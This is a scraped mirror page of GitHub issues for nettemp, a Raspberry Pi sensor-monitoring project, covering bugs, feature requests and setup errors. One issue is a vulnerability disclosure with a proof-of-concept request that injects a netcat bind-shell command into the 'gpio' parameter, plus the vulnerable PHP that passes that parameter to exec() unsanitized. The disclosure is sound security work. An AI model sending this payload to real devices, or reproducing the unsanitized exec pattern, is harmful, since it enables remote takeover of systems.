Code Monkey home page Code Monkey logo

nettemp's People

Contributors

bcoles avatar sosprz avatar uzi18 avatar wander98 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

nettemp's Issues

1wire_gpio_i2c_read.php doesn't properly convert C -> F

In d67f220, modules/sensors/read was changed such that modules/sensors/1wire/1wire_gpio_i2c_read was replaced with modules/sensors/1wire/1wire_gpio_i2c_read.php. But the PHP version doesn't respect the C/F temp_scale setting and always inserts Celsius values.

I believe this is because the PHP version includes the contents of receiver.php to use the db function. But the C -> F check/conversion is normally done outside of that function in the main page loop.

The C -> F conversion should either be moved inside the db function or added to 1wire_gpio_i2c_read.php.

Problem z funkcjami gpio.

  1. Po dodaniu przekaźnika w funkcji simple on/off na głównej stronie w grupie gpio można włączyć gpio ale kolejne przyciśnięcie nic nie daje. przycisk pomimo zmiany stanu na przeciwny nie wyłącza gpio. dopiero w device można go wyłączyć
  2. Nie działa funkcja time- ustawienie czasu np. 1 min -powoduje załączenie przekaźnika ale go nie wyłącza.

read function error

Hello, I've tried to connect a botton switch to know if the door is open or closed, i've added it through the gpio panel and set it up to read, altough it always shows as off, what is the right way to connect the button to RPI and to this wonderful software? thanks in advance

License?

Hello. I like what you've done with this project. Is your source code released under any particular license? I have been working on a similar project, Mycodo (GPL3), and was wondering if your code was open source to allow me to use some of it in Mycodo. Thanks.
-Kyle

nettemp Unauthenticated Remote Command Execution Vulnerability

nettemp allows unauthenticated remote attackers to execute arbitrary commands
as the web-server user.

Proof of concept

The following proof of concept is available:

POST /nettemp/modules/relays/html/gpio.php HTTP/1.1
Host: nettemp.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

off=OFF&gpio=;nc -l -p 1337 -e /bin/sh;#

Vulnerable code:

It is possible to execute arbitrary commands remotely as the web-server user
by injecting commands into the 'gpio' parameter of the
'./modules/relays/html/gpio.php' file. The 'gpio' parameter is passed to 'exec'
on line 14:

$gpio_post=$_POST['gpio'];

$time=($times*60);
$timec=($timecm*60);

if ($_POST['off'] == "OFF") {
exec("$dir/gpio off $gpio_post"); # line 14
header("location: " . $_SERVER['REQUEST_URI']);
exit();
}

The server encountered an internal error

Świerza instalacja na raspberry pi:

pi@raspberrypi:~ $ curl -k -s -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' --data '{"username":"czujnik","password":"Czujnik1"}' https://192.168.77.88/register

<title>500 Internal Server Error</title>

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

pi@raspberrypi:~ $

pi@raspberrypi:~ $ python3 jwt_test.py
[*] Register and send {'username': 'czujnik', 'password': 'Czujnik1'}
Traceback (most recent call last):
File "jwt_test.py", line 11, in
token=r.json()
File "/usr/lib/python3/dist-packages/requests/models.py", line 897, in json
return complexjson.loads(self.text, **kwargs)
File "/usr/lib/python3.7/json/init.py", line 348, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.7/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python3.7/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

???
Pozdrawiam

Possibility to "adjust" sensor readings

Could you please add a feature that will allow user to adjust sensor readings?
I am using nettemp for monitoring of some temperature critical machine.
However DS18B20 have sometimes even up to 0,5 degree difference between calibrated temperature sensor.

I think such feature to add or subtract defined value to sensor reading would be great.

Warnings from setup script on Raspberry Pi

I got lots of following warning during setup:
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_MESSAGES to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory

Finally it stopped with:

/run/udev or .udevdb or .udev presence implies active udev. Aborting MAKEDEV invocation.
/run/udev or .udevdb or .udev presence implies active udev. Aborting MAKEDEV invocation.
Processing triggers for menu ...
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
W: Operation was interrupted before it could finish

Light Sensor does not record 0 lux readings

I am using nettemp to monitor light levels in a room with a regular cycle between complete darkness and moderate light levels. I use v 8.4.64 master on a raspberry pi B+ with an Adafruit TSL2561 Digital Luminosity/Lux/Light Sensor.

Nettemp logs positive light values perfectly, however, for the period that the sensor registers 0.0 lux, it does not seem to log any 0.0 values into the highcharts (but it does rarely log near zero numbers like 0.2). Is there a way to make it log the 0.0 values, which would result in a graph similar to the red line in the attached image?

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.